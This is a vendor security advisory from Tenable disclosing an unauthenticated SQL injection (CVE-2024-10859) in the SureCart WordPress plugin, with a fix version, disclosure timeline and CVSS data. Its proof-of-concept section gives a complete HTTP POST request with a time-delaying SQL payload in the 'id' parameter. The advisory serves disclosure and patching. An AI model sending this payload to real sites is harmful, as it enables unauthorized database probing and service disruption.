Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

SQL Injection in SureCart WordPress Plugin

High

Synopsis

A researcher at Tenable discovered an unauthenticated SQL Injection (SQLi) vulnerability in the SureCate WordPress plugin.

The SQLi exists because of a lack of validation of the parameter 'id'  used in the 'surecart_async_webhook' action which is accessible without authentication.

Proof Of Concept:

The vulnerability can be reproduced by performing the following POST HTTP request against a WordPress instance using a vulnerable version of the plugin and noticing the delayed response due to this heavy request:

POST /wp-admin/admin-ajax.php?action=surecart_async_webhook HTTP/1.1
Host: VULNERABLE_WORDPRESS
Accept: */*
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Connection: Keep-Alive

id=1 AND 1=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)

Solution

Upgrade to SureCart 2.30.0 or later.

Disclosure Timeline

26 August 2024 - Tenable requests contact information from Surecart via [email protected].
28 August 2024 - Brainstorm Force (Surecart maintainer) provides contact information
28 August 2024 - Tenable discloses to Brainstorm Force
28 August 2024 - Brainstorm Force acknowledges report and begins investigation
28 August 2024 - Brainstorm Force states that they've developed a preliminary patch for the issue and asks if we would like to review it
29 August 2024 - Tenable states that they're happy to test the original proof of concepts against the patched version
4 September 2024 - Brainstorm Force provides a patch and asks Tenable
6 September 2024 - Tenable provides feedback to Brainstorm Force on the patch
12 September 2024 - Tenable requests feedback from Brainstorm Force
22 October 2024 - Tenable requests feedback from Brainstorm Force and remind planned disclosure date. Brainstorm Force answers that fix was released with version 2.30.0

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2024-10859
Tenable Advisory ID: TRA-2024-44
Credit:
Joshua Martinelle
CVSSv3 Base / Temporal Score:
8.6 / 8.2
CVSSv3 Vector:
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Affected Products:
SureCart WordPress Plugin < 2.30.0
Risk Factor:
High

Advisory Timeline

November 5, 2024 - Initial release